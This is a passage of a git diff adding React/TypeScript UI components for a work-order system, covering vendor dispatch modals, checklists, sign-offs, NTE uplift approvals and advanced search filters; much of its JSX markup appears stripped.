item.title.toLowerCase().includes(woSearch.toLowerCase()), + ) + .slice(0, 10), + [siteWorkOrders, selectedWOs, woSearch], + ); + + const handleSubmit = () => { + if (!selectedVendorId) { + return; + } + + dispatchMutation.mutate( + { + workOrderIds: selectedWOs.map((wo) => wo.id), + vendorIds: [selectedVendorId], + nteAmount: nteAmount ? parseFloat(nteAmount) : null, + scheduledDate: scheduledDate || null, + description, + taskListTemplateId: selectedTemplateId ? parseInt(selectedTemplateId, 10) : null, + customChecklistItems: customItems.length > 0 ? customItems : null, + }, + { + onSuccess: () => { + onDispatched(); + onClose(); + }, + }, + ); + }; + + return ( + + + Dispatch{" "} + {selectedWOs.length > 1 + ? `${selectedWOs.length} Work Orders` + : `Work Order ${workOrder.internalWONumber}`} + + + + + + + + Work Orders ({selectedWOs.length}) + + + {selectedWOs.map((wo) => ( + setSelectedWOs((prev) => prev.filter((item) => item.id !== wo.id)) + : undefined + } + /> + ))} + + {siteWorkOrders.length > 0 && ( + + setWoSearch(event.target.value)} + placeholder="Search to filter..." + fullWidth + className="mb-2" + /> + + {filteredSiteWOs.map((item) => ( + { + setSelectedWOs((prev) => [ + ...prev, + { id: item.id, number: item.woNumber, title: item.title }, + ]); + setWoSearch(""); + }} + > + + {item.woNumber} — {item.title} + + + ))} + + + )} + + + + + Select Vendor + + setVendorSearch(event.target.value)} + placeholder="Search vendors..." + fullWidth + className="mb-2" + /> + {isLoadingVendors ? ( + + Loading vendors... + + ) : filteredVendors.length === 0 ? ( + + No vendors found + + ) : ( + + {filteredVendors.map((vendor) => ( + + setSelectedVendorId((current) => (current === vendor.id ? null : vendor.id)) + } + > + + + + {vendor.companyName} + + {Boolean(vendor.tradeSpecialties) && ( + + {vendor.tradeSpecialties} + + )} + {Boolean(vendor.address) && ( + + {vendor.address} + + )} + + {vendor.distanceMiles != null && ( + + {vendor.distanceMiles} miles + + )} + + ))} + + )} + + + + setNteAmount(event.target.value)} + fullWidth + slotProps={{ + htmlInput: { step: "0.01", min: 0 }, + }} + /> + setScheduledDate(event.target.value)} + slotProps={{ inputLabel: { shrink: true } }} + fullWidth + /> + + + setSelectedTemplateId(event.target.value)} + fullWidth + > + No checklist template + {taskTemplates.map((template) => ( + + {template.name} ({template.items?.length ?? 0} items) + + ))} + + + {customItems.length > 0 && ( + + {customItems.map((item, index) => ( + setCustomItems((prev) => prev.filter((_, i) => i !== index))} + /> + ))} + + )} + + setNewCustomItem(event.target.value)} + onKeyDown={(event) => { + if (event.key === "Enter" && newCustomItem.trim()) { + event.preventDefault(); + setCustomItems((prev) => [...prev, newCustomItem.trim()]); + setNewCustomItem(""); + } + }} + placeholder="Add custom checklist item..." + fullWidth + size="small" + /> + + setDescription(event.target.value)} + fullWidth + /> + + + + + + + ); +} + +function PaperList({ children }: { children: React.ReactNode }) { + return ( + {children} + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch-detail-modal.tsx b/src/app/(protected)/workorders/_components/dispatch-detail-modal.tsx new file mode 100644 index 00000000..d155ef33 --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch-detail-modal.tsx @@ -0,0 +1 @@ +export { DispatchDetailModal } from "./dispatch/dispatch-detail"; diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/build-dispatch-edit-form.ts b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/build-dispatch-edit-form.ts new file mode 100644 index 00000000..0573c385 --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/build-dispatch-edit-form.ts @@ -0,0 +1,13 @@ +import type { DispatchDetail } from "@/domain/work-orders/types/work-order"; +import { toDateInputValue } from "@/lib/time-utils"; +import type { DispatchEditFormState } from "./dispatch-edit-form"; + +export function buildDispatchEditForm(dispatch: DispatchDetail): DispatchEditFormState { + return { + status: dispatch.status || "", + nteAmount: dispatch.nteAmount != null ? String(dispatch.nteAmount) : "", + scheduledDate: toDateInputValue(dispatch.scheduledDate), + completedDate: toDateInputValue(dispatch.completedDate), + description: dispatch.description || "", + }; +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-checklist-section.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-checklist-section.tsx new file mode 100644 index 00000000..03ff527a --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-checklist-section.tsx @@ -0,0 +1,73 @@ +import { Box, Checkbox, Stack, TextField, Typography } from "@mui/material"; +import type { DispatchChecklistItem } from "@/domain/work-orders/types/work-order"; +import { formatDateTime } from "@/lib/time-utils"; + +type DispatchChecklistSectionProps = { + items: DispatchChecklistItem[]; + isLocked: boolean; + isUpdating: boolean; + newItem: string; + onNewItemChange: (value: string) => void; + onToggleItem: (itemId: string | number, isCompleted: boolean) => void; + onAddItem: (text: string) => void; +}; + +export function DispatchChecklistSection({ + items, + isLocked, + isUpdating, + newItem, + onNewItemChange, + onToggleItem, + onAddItem, +}: DispatchChecklistSectionProps) { + if (items.length === 0 && isLocked) { + return null; + } + + const completedCount = items.filter((item) => item.isCompleted).length; + + return ( + + + Checklist ({completedCount}/{items.length}) + + + {items.map((item) => ( + + onToggleItem(item.id, !item.isCompleted)} + /> + + {item.itemText} + {item.isCompleted && Boolean(item.completedBy || item.completedAt) && ( + + {item.completedBy?.trim() || "Unknown"} + {item.completedAt ? ` · ${formatDateTime(item.completedAt)}` : ""} + + )} + + + ))} + + {!isLocked && ( + onNewItemChange(event.target.value)} + onKeyDown={(event) => { + if (event.key === "Enter" && newItem.trim()) { + event.preventDefault(); + onAddItem(newItem.trim()); + } + }} + placeholder="Add checklist item..." + fullWidth + className="mt-2" + /> + )} + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-detail-header.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-detail-header.tsx new file mode 100644 index 00000000..a345fdf4 --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-detail-header.tsx @@ -0,0 +1,30 @@ +import CloseIcon from "@mui/icons-material/Close"; +import { Box, IconButton, Typography } from "@mui/material"; +import type { DispatchDetail } from "@/domain/work-orders/types/work-order"; + +type DispatchDetailHeaderProps = { + dispatch: DispatchDetail; + onClose: () => void; +}; + +export function DispatchDetailHeader({ dispatch, onClose }: DispatchDetailHeaderProps) { + return ( + + + + {dispatch.dispatchNumber || dispatch.poNumber} · {dispatch.vendorName} + + + PO: {dispatch.poNumber} ·{" "} + {dispatch.workOrders.length > 0 + ? `${dispatch.workOrders.length} WO(s): ${dispatch.workOrders.map((wo) => wo.woNumber).join(", ")}` + : `WO: ${dispatch.woNumber}`}{" "} + · {dispatch.vendorEmail} + + + + + + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-edit-form.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-edit-form.tsx new file mode 100644 index 00000000..1a0a27f2 --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-edit-form.tsx @@ -0,0 +1,155 @@ +import { Box, Button, MenuItem, Stack, TextField } from "@mui/material"; +import { DetailField } from "@/components/common/detail-field"; +import { + DISPATCH_STATUS_OPTIONS, + type DispatchDetail, +} from "@/domain/work-orders/types/work-order"; +import { + formatDateTime, + timeBetween, + timeSince, + toDateInputValue, + waitTimeColor, +} from "@/lib/time-utils"; + +export type DispatchEditFormState = { + status: string; + nteAmount: string; + scheduledDate: string; + completedDate: string; + description: string; +}; + +type DispatchEditFormProps = { + form: DispatchEditFormState; + onChange: (form: DispatchEditFormState) => void; + onSave: () => void; + onCancel: () => void; + isSaving: boolean; +}; + +export function DispatchEditForm({ + form, + onChange, + onSave, + onCancel, + isSaving, +}: DispatchEditFormProps) { + return ( + <> + onChange({ ...form, status: event.target.value })} + > + {DISPATCH_STATUS_OPTIONS.map((status) => ( + + {status} + + ))} + + onChange({ ...form, nteAmount: event.target.value })} + slotProps={{ htmlInput: { step: "0.01" } }} + /> + onChange({ ...form, scheduledDate: event.target.value })} + slotProps={{ inputLabel: { shrink: true } }} + /> + onChange({ ...form, completedDate: event.target.value })} + slotProps={{ inputLabel: { shrink: true } }} + /> + onChange({ ...form, description: event.target.value })} + /> + + + + + + ); +} + +type DispatchDetailsViewProps = { + dispatch: DispatchDetail; + isLocked: boolean; + onEdit: () => void; + onCancelDispatch: () => void; +}; + +export function DispatchDetailsView({ + dispatch, + isLocked, + onEdit, + onCancelDispatch, +}: DispatchDetailsViewProps) { + const waitColor = waitTimeColor(dispatch.dispatchedAt); + + return ( + <> + + + + + + + + {Boolean(dispatch.description) && ( + + )} + {!isLocked && ( + + + + + )} + + ); +} + +export function DispatchDetailsGrid({ children }: { children: React.ReactNode }) { + return {children}; +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-signoffs-section.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-signoffs-section.tsx new file mode 100644 index 00000000..00c5e177 --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-signoffs-section.tsx @@ -0,0 +1,66 @@ +import { Box, Button, Chip, Stack, Typography } from "@mui/material"; +import type { DispatchSignoff } from "@/domain/work-orders/types/work-order"; +import { formatDateTime } from "@/lib/time-utils"; + +type DispatchSignoffsSectionProps = { + signoffs: DispatchSignoff[]; + isLocked: boolean; + onCollectSignature: (type: "Customer" | "Vendor") => void; +}; + +export function DispatchSignoffsSection({ + signoffs, + isLocked, + onCollectSignature, +}: DispatchSignoffsSectionProps) { + return ( + + + Sign-offs + + + {(["Customer", "Vendor"] as const).map((type) => { + const signoff = signoffs.find((item) => item.signoffType === type); + return ( + + {type} + {signoff ? ( + + {signoff.signatureMethod === "drawn" && Boolean(signoff.signature) && ( + Signature + )} + {signoff.signatureMethod === "typed" && ( + + {signoff.signature} + + )} + + {signoff.name} + {signoff.signedAt ? ` · ${formatDateTime(signoff.signedAt)}` : ""} + + + ) : ( + + )} + + ); + })} + + {signoffs.length >= 2 && ( + + )} + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-uplifts-section.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-uplifts-section.tsx new file mode 100644 index 00000000..ae977ef9 --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-uplifts-section.tsx @@ -0,0 +1,112 @@ +import { Box, Button, Chip, Stack, Tooltip, Typography } from "@mui/material"; +import type { UpliftRequest } from "@/domain/uplifts/types/uplift"; +import { formatDateTime } from "@/lib/time-utils"; + +type DispatchUpliftsSectionProps = { + uplifts: UpliftRequest[]; + isLocked: boolean; + onApprove: (uplift: UpliftRequest) => void; + onDeny: (uplift: UpliftRequest) => void; +}; + +type UpliftCardProps = Omit & { + uplift: UpliftRequest; +}; + +function UpliftCard({ uplift, isLocked, onApprove, onDeny }: UpliftCardProps) { + const canDecide = uplift.canDecide && uplift.status === "Pending" && !isLocked; + + return ( + + + + {uplift.requiredTier === 2 && ( + Tier 2 · Manager approval + )} + + ${Number(uplift.currentNTE ?? 0).toFixed(2)} → ${Number(uplift.requestedNTE).toFixed(2)}{" "} + (+${Number(uplift.delta).toFixed(2)}) + + + {Boolean(uplift.vendorReason) && ( + + Reason: {uplift.vendorReason} + + )} + {Boolean(uplift.requestedByVendorName || uplift.requestedAt) && ( + + Requested by {uplift.requestedByVendorName || "vendor"} + {uplift.requestedAt ? ` · ${formatDateTime(uplift.requestedAt)}` : ""} + + )} + {uplift.status !== "Pending" && + Boolean(uplift.decidedByName || uplift.decidedAt || uplift.decisionNote) && ( + + {Boolean(uplift.decidedByName || uplift.decidedAt) && ( + + {uplift.status} by {uplift.decidedByName || "—"} + {uplift.decidedAt ? ` · ${formatDateTime(uplift.decidedAt)}` : ""} + + )} + {Boolean(uplift.decisionNote) && ( + + Note: {uplift.decisionNote} + + )} + + )} + {uplift.status === "Pending" && ( + + {(["approve", "deny"] as const).map((action) => ( + + + + + + ))} + + )} + + ); +} + +export function DispatchUpliftsSection({ + uplifts, + isLocked, + onApprove, + onDeny, +}: DispatchUpliftsSectionProps) { + return ( + + + NTE Uplift Requests + + {uplifts.length === 0 ? ( + No uplift requests. + ) : ( + + {uplifts.map((uplift) => ( + + ))} + + )} + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-vendor-communication.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-vendor-communication.tsx new file mode 100644 index 00000000..74cf4e1a --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-vendor-communication.tsx @@ -0,0 +1,73 @@ +import { Box, Button, Checkbox, FormControlLabel, Stack, TextField } from "@mui/material"; +import { CommentTimeline } from "@/components/common/comment-timeline"; +import { mapDispatchCommentsToTimeline } from "@/components/common/comment-timeline-mappers"; +import type { DispatchComment } from "@/domain/work-orders/types/work-order"; + +type DispatchVendorCommunicationProps = { + comments: DispatchComment[]; + commentText: string; + sendEmail: boolean; + isLocked: boolean; + isPending: boolean; + onCommentTextChange: (value: string) => void; + onSendEmailChange: (value: boolean) => void; + onSubmit: (event: React.FormEvent) => void; +}; + +export function DispatchVendorCommunication({ + comments, + commentText, + sendEmail, + isLocked, + isPending, + onCommentTextChange, + onSendEmailChange, + onSubmit, +}: DispatchVendorCommunicationProps) { + return ( + + Vendor Communication + + + + + onCommentTextChange(event.target.value)} + placeholder="Message vendor..." + fullWidth + disabled={isLocked || isPending} + /> + + onSendEmailChange(event.target.checked)} + disabled={isLocked} + /> + } + label="Send email" + /> + + + + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-verify-footer.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-verify-footer.tsx new file mode 100644 index 00000000..7ee7cb1e --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/dispatch-verify-footer.tsx @@ -0,0 +1,46 @@ +import { Alert, Button, Stack, Typography } from "@mui/material"; +import { formatDateTime } from "@/lib/time-utils"; + +type DispatchVerifyFooterProps = { + verifiedAt: string; + verifiedBy: string; + canVerify: boolean; + missing: string[]; + isPending: boolean; + onVerify: () => void; +}; + +export function DispatchVerifyFooter({ + verifiedAt, + verifiedBy, + canVerify, + missing, + isPending, + onVerify, +}: DispatchVerifyFooterProps) { + if (verifiedAt) { + return ( + + Verified by {verifiedBy} on {formatDateTime(verifiedAt)} + + ); + } + + return ( + + {missing.length > 0 && ( + + Missing: {missing.join(", ")} + + )} + + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/index.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/index.tsx new file mode 100644 index 00000000..7189fe1e --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/index.tsx @@ -0,0 +1,160 @@ +import { CircularProgress, Dialog, DialogContent, DialogTitle } from "@mui/material"; +import { SignatureCapture } from "@/components/common/signature-capture"; +import { useDispatchDetailController } from "@/app/(protected)/workorders/_hooks/use-dispatch-detail-controller"; +import { DispatchChecklistSection } from "./dispatch-checklist-section"; +import { DispatchDetailHeader } from "./dispatch-detail-header"; +import { DispatchDetailsGrid, DispatchDetailsView, DispatchEditForm } from "./dispatch-edit-form"; +import { DispatchSignoffsSection } from "./dispatch-signoffs-section"; +import { DispatchUpliftsSection } from "./dispatch-uplifts-section"; +import { DispatchVendorCommunication } from "./dispatch-vendor-communication"; +import { DispatchVerifyFooter } from "./dispatch-verify-footer"; +import { UpliftDecisionDialog } from "./uplift-decision-dialog"; + +interface DispatchDetailModalProps { + dispatchId: string | number; + workOrderId: string | number; + onClose: () => void; + onUpdated?: () => void; +} + +export function DispatchDetailModal({ + dispatchId, + workOrderId, + onClose, +}: DispatchDetailModalProps) { + const controller = useDispatchDetailController(dispatchId, workOrderId); + + if (controller.isLoading) { + return ( + + + + + + ); + } + + if (!controller.dispatch) { + return null; + } + + const { dispatch } = controller; + + return ( + <> + + + + + + + + {controller.editing ? ( + controller.setEditing(false)} + isSaving={controller.updateDispatchMutation.isPending} + /> + ) : ( + controller.handleCancelDispatch(dispatch)} + /> + )} + + + {(dispatch.checklistItems.length > 0 || !controller.isLocked) && ( + + controller.updateChecklistMutation.mutate({ + itemId, + isCompleted, + completedBy: controller.userName, + }) + } + onAddItem={(text) => + controller.addChecklistMutation.mutate(text, { + onSuccess: () => controller.setNewChecklistItem(""), + }) + } + /> + )} + + + + controller.setUpliftAction({ type: "approve", uplift })} + onDeny={(uplift) => controller.setUpliftAction({ type: "deny", uplift })} + /> + + + + controller.verifyMutation.mutate(undefined)} + /> + + + + {controller.sigCaptureType != null && ( + controller.setSigCaptureType(null)} + onSave={(signature, method, name) => { + controller.addSignoffMutation.mutate( + { + signoffType: controller.sigCaptureType!, + name, + signature, + signatureMethod: method, + }, + { onSuccess: () => controller.setSigCaptureType(null) }, + ); + }} + /> + )} + + {controller.upliftAction != null && ( + controller.setUpliftAction(null)} + onConfirm={controller.handleUpliftConfirm} + isPending={ + controller.approveUpliftMutation.isPending || controller.denyUpliftMutation.isPending + } + /> + )} + + ); +} diff --git a/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/uplift-decision-dialog.tsx b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/uplift-decision-dialog.tsx new file mode 100644 index 00000000..c8e7cf2f --- /dev/null +++ b/src/app/(protected)/workorders/_components/dispatch/dispatch-detail/uplift-decision-dialog.tsx @@ -0,0 +1,78 @@ +import { useState } from "react"; +import { + Button, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + TextField, + Typography, +} from "@mui/material"; + +type UpliftDecisionDialogProps = { + open: boolean; + type: "approve" | "deny"; + requestedNTE: number; + currentNTE: number | null; + onClose: () => void; + onConfirm: (note: string) => void; + isPending?: boolean; +}; + +export function UpliftDecisionDialog({ + open, + type, + requestedNTE, + currentNTE, + onClose, + onConfirm, + isPending = false, +}: UpliftDecisionDialogProps) { + const [note, setNote] = useState(""); + + const handleClose = () => { + setNote(""); + onClose(); + }; + + const handleConfirm = () => { + onConfirm(note.trim()); + setNote(""); + }; + + return ( + + + {type === "approve" ? `Approve uplift to $${requestedNTE.toFixed(2)}?` : "Deny Uplift"} + + + {type === "approve" && ( + + ${Number(currentNTE ?? 0).toFixed(2)} → ${requestedNTE.toFixed(2)} (+$ + {(requestedNTE - Number(currentNTE ?? 0)).toFixed(2)}) + + )} + setNote(event.target.value)} + /> + + + + + + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/advanced-search/adv-filter-pill.tsx b/src/app/(protected)/workorders/_components/list/advanced-search/adv-filter-pill.tsx new file mode 100644 index 00000000..5b7c3394 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/advanced-search/adv-filter-pill.tsx @@ -0,0 +1,78 @@ +import { DotTogglePill } from "@/components/ui/dot-toggle-pill"; + +import { TogglePill } from "@/components/ui/toggle-pill"; + +import { ToggleSegment } from "@/components/ui/toggle-segment"; + +type AdvFilterPillProps = { + label: string; + + selected: boolean; + + onClick: () => void; + + className?: string; +}; + +export function AdvFilterPill({ label, selected, onClick, className }: AdvFilterPillProps) { + return ( + + {label} + + ); +} + +type AdvStatusPillProps = { + label: string; + + dotColor: string; + + selected: boolean; + + selectedBg?: string; + + selectedText?: string; + + onClick: () => void; +}; + +export function AdvStatusPill({ + label, + + dotColor, + + selected, + + selectedBg, + + selectedText, + + onClick, +}: AdvStatusPillProps) { + return ( + + ); +} + +type AdvDocPillProps = { + label: string; + + selected: boolean; + + onClick: () => void; +}; + +export function AdvDocPill({ label, selected, onClick }: AdvDocPillProps) { + return ( + + {label} + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/advanced-search/adv-filter-sections.tsx b/src/app/(protected)/workorders/_components/list/advanced-search/adv-filter-sections.tsx new file mode 100644 index 00000000..9bfed9a1 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/advanced-search/adv-filter-sections.tsx @@ -0,0 +1,187 @@ +import type { Dispatch, SetStateAction } from "react"; +import { + CalendarDays, + CheckCircle2, + FileText, + Flame, + MapPin, + Tag, + Truck, + UserX, + Users, +} from "lucide-react"; +import { AdvDocPill, AdvFilterPill, AdvStatusPill } from "./adv-filter-pill"; +import { AdvMultiSelect } from "./adv-multi-select"; +import { AdvSection } from "./adv-section"; +import { AdvTypeGrid } from "./adv-type-grid"; +import { DateField } from "@/components/ui/date-input"; +import { SelectAllAction } from "@/components/ui/select-all-action"; +import { + ALL_WIZARD_STATUSES, + ASSIGNEE_FILTER_UNASSIGNED, + COMPLETION_DOC_OPTIONS, + DATE_RANGE_OPTIONS, + DOC_FILTER_LABELS, + type AdvancedFilterSetKey, + type WorkOrderAdvancedFilters, +} from "@/domain/work-orders/types/work-order-advanced-filters"; +import type { WorkOrderUser } from "@/domain/work-orders/types/work-order"; +import { WIZARD_STATUS_DOTS } from "@/domain/work-orders/types/work-order-wizard"; +import { isDefaultDateRange } from "@/domain/work-orders/utils/advanced-filters-utils"; + +type AdvancedSearchFilterSectionsProps = { + draft: WorkOrderAdvancedFilters; + setDraft: Dispatch>; + toggleIn: (key: AdvancedFilterSetKey, value: string) => void; + setMany: (key: AdvancedFilterSetKey, values: string[], select: boolean) => void; + sites: { id: string | number; name: string }[]; + users: WorkOrderUser[]; + pmTypes: string[]; + vendorTechs: string[]; +}; + +export function AdvancedSearchFilterSections({ + draft, + setDraft, + toggleIn, + setMany, + sites, + users, + pmTypes, + vendorTechs, +}: AdvancedSearchFilterSectionsProps) { + const selectAllRow = (key: AdvancedFilterSetKey, all: string[], selectedSize: number) => ( +
    + 0} + onClick={() => setMany(key, all, selectedSize === 0)} + /> +
    + ); + + return ( +
    + +
    + {DATE_RANGE_OPTIONS.map((option) => ( + setDraft((prev) => ({ ...prev, dateRange: option.key }))} + /> + ))} +
    + {draft.dateRange === "custom" && ( +
    + setDraft((prev) => ({ ...prev, customFrom: value }))} + /> + setDraft((prev) => ({ ...prev, customTo: value }))} + /> +
    + )} +
    + + + ({ + value: String(site.id), + label: site.name, + }))} + selected={draft.sites} + onToggle={(value) => toggleIn("sites", value)} + onBulkToggle={(values, select) => setMany("sites", values, select)} + placeholder="Search site…" + /> + + + + toggleIn("types", type)} + onSelectAll={(types, select) => setMany("types", types, select)} + /> + + + + ({ value: String(user.id), label: user.name })), + ]} + selected={draft.dispatchers} + onToggle={(value) => toggleIn("dispatchers", value)} + onBulkToggle={(values, select) => setMany("dispatchers", values, select)} + placeholder="Search assigned to…" + renderLeft={(id) => + id === ASSIGNEE_FILTER_UNASSIGNED ? ( + + ) : ( + + ) + } + /> + + + + {selectAllRow("statuses", [...ALL_WIZARD_STATUSES], draft.statuses.size)} +
    + {ALL_WIZARD_STATUSES.map((status) => ( + toggleIn("statuses", status)} + /> + ))} +
    +
    + + + ({ value: pmType, label: pmType }))} + selected={draft.pmTypes} + onToggle={(value) => toggleIn("pmTypes", value)} + onBulkToggle={(values, select) => setMany("pmTypes", values, select)} + placeholder="Search pm type…" + /> + + + + ({ value: name, label: name }))} + selected={draft.vendorTechs} + onToggle={(value) => toggleIn("vendorTechs", value)} + onBulkToggle={(values, select) => setMany("vendorTechs", values, select)} + placeholder="Search vendor / tech…" + /> + + + + {selectAllRow("docs", [...COMPLETION_DOC_OPTIONS], draft.docs.size)} +
    + {COMPLETION_DOC_OPTIONS.map((doc) => ( + toggleIn("docs", doc)} + /> + ))} +
    +
    +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/advanced-search/adv-multi-select.tsx b/src/app/(protected)/workorders/_components/list/advanced-search/adv-multi-select.tsx new file mode 100644 index 00000000..f9f877aa --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/advanced-search/adv-multi-select.tsx @@ -0,0 +1,100 @@ +import { useState, type ReactNode } from "react"; + +import { CheckboxListItem } from "@/components/ui/checkbox-list-item"; + +import { SearchInput } from "@/components/ui/search-input"; + +import { SelectAllAction } from "@/components/ui/select-all-action"; + +type AdvMultiSelectOption = { + value: string; + + label: string; +}; + +type AdvMultiSelectProps = { + options: AdvMultiSelectOption[]; + + selected: Set; + + onToggle: (value: string) => void; + + onBulkToggle?: (values: string[], select: boolean) => void; + + placeholder: string; + + renderLeft?: (value: string) => ReactNode; +}; + +export function AdvMultiSelect({ + options, + + selected, + + onToggle, + + onBulkToggle, + + placeholder, + + renderLeft, +}: AdvMultiSelectProps) { + const [query, setQuery] = useState(""); + + const list = query + ? options.filter((option) => option.label.toLowerCase().includes(query.toLowerCase())) + : options; + + const anySelected = selected.size > 0; + + return ( +
    + + +
    + + {selected.size} of {options.length} selected + + + + anySelected + ? onBulkToggle?.( + options.map((option) => option.value), + + false, + ) + : onBulkToggle?.( + list.map((option) => option.value), + + true, + ) + } + /> +
    + +
    + {list.map((option) => ( + onToggle(option.value)} + /> + ))} + + {list.length === 0 && ( +
    No matches
    + )} +
    +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/advanced-search/adv-section.tsx b/src/app/(protected)/workorders/_components/list/advanced-search/adv-section.tsx new file mode 100644 index 00000000..f7195508 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/advanced-search/adv-section.tsx @@ -0,0 +1,19 @@ +import type { ElementType, ReactNode } from "react"; + +import { CollapsibleSection } from "@/components/ui/collapsible-section"; + +type AdvSectionProps = { + icon?: ElementType; + + label: string; + + count?: number; + + defaultOpen?: boolean; + + children: ReactNode; +}; + +export function AdvSection(props: AdvSectionProps) { + return ; +} diff --git a/src/app/(protected)/workorders/_components/list/advanced-search/adv-type-grid.tsx b/src/app/(protected)/workorders/_components/list/advanced-search/adv-type-grid.tsx new file mode 100644 index 00000000..b1762731 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/advanced-search/adv-type-grid.tsx @@ -0,0 +1,43 @@ +import { SelectAllAction } from "@/components/ui/select-all-action"; + +import { ToggleCard } from "@/components/ui/toggle-card"; + +import { + WO_TYPE_DESCRIPTIONS, + WO_TYPES, +} from "@/domain/work-orders/types/work-order-advanced-filters"; + +import type { WOType } from "@/domain/work-orders/types/work-order-wizard"; + +type AdvTypeGridProps = { + selected: Set; + + onToggle: (type: WOType) => void; + + onSelectAll: (types: WOType[], select: boolean) => void; +}; + +export function AdvTypeGrid({ selected, onToggle, onSelectAll }: AdvTypeGridProps) { + return ( + <> +
    + 0} + onClick={() => onSelectAll([...WO_TYPES], selected.size === 0)} + /> +
    + +
    + {WO_TYPES.map((type) => ( + onToggle(type)} + /> + ))} +
    + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/advanced-search/use-advanced-search-draft.ts b/src/app/(protected)/workorders/_components/list/advanced-search/use-advanced-search-draft.ts new file mode 100644 index 00000000..4f367f18 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/advanced-search/use-advanced-search-draft.ts @@ -0,0 +1,68 @@ +import { useEffect, useState } from "react"; +import { + EMPTY_ADVANCED_FILTERS, + type AdvancedFilterSetKey, + type WorkOrderAdvancedFilters, +} from "@/domain/work-orders/types/work-order-advanced-filters"; +import { + cloneAdvancedFilters, + countAdvancedFilters, +} from "@/domain/work-orders/utils/advanced-filters-utils"; + +type UseAdvancedSearchDraftOptions = { + open: boolean; + initial: WorkOrderAdvancedFilters; + onApply: (filters: WorkOrderAdvancedFilters) => void; + onClearAll: () => void; + onOpenChange: (open: boolean) => void; +}; + +export function useAdvancedSearchDraft({ + open, + initial, + onApply, + onClearAll, + onOpenChange, +}: UseAdvancedSearchDraftOptions) { + const [draft, setDraft] = useState(initial); + + useEffect(() => { + if (open) { + setDraft(cloneAdvancedFilters(initial)); + } + }, [open, initial]); + + const activeCount = countAdvancedFilters(draft); + + const toggleIn = (key: AdvancedFilterSetKey, value: string) => { + setDraft((prev) => { + const next = new Set(prev[key] as Set); + if (next.has(value)) { + next.delete(value); + } else { + next.add(value); + } + return { ...prev, [key]: next }; + }); + }; + + const setMany = (key: AdvancedFilterSetKey, values: string[], select: boolean) => { + setDraft((prev) => { + const next = new Set(prev[key] as Set); + values.forEach((value) => (select ? next.add(value) : next.delete(value))); + return { ...prev, [key]: next }; + }); + }; + + const handleClearAll = () => { + setDraft(cloneAdvancedFilters(EMPTY_ADVANCED_FILTERS)); + onClearAll(); + }; + + const handleApply = () => { + onApply(cloneAdvancedFilters(draft)); + onOpenChange(false); + }; + + return { draft, setDraft, activeCount, toggleIn, setMany, handleClearAll, handleApply }; +} diff --git a/src/app/(protected)/workorders/_components/list/advanced-search/work-orders-advanced-search-sheet.tsx b/src/app/(protected)/workorders/_components/list/advanced-search/work-orders-advanced-search-sheet.tsx new file mode 100644 index 00000000..c42e1276 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/advanced-search/work-orders-advanced-search-sheet.tsx @@ -0,0 +1,83 @@ +import { SlidersHorizontal } from "lucide-react"; +import { AdvancedSearchFilterSections } from "./adv-filter-sections"; +import { useAdvancedSearchDraft } from "./use-advanced-search-draft"; +import { Button } from "@/components/ui/button"; +import { IconCloseButton } from "@/components/ui/icon-close-button"; +import { SideSheet } from "@/components/ui/side-sheet"; +import type { WorkOrderAdvancedFilters } from "@/domain/work-orders/types/work-order-advanced-filters"; +import type { WorkOrderUser } from "@/domain/work-orders/types/work-order"; + +type WorkOrdersAdvancedSearchSheetProps = { + open: boolean; + onOpenChange: (open: boolean) => void; + initial: WorkOrderAdvancedFilters; + onApply: (filters: WorkOrderAdvancedFilters) => void; + onClearAll: () => void; + sites: { id: string | number; name: string }[]; + users: WorkOrderUser[]; + pmTypes: string[]; + vendorTechs: string[]; +}; + +export function 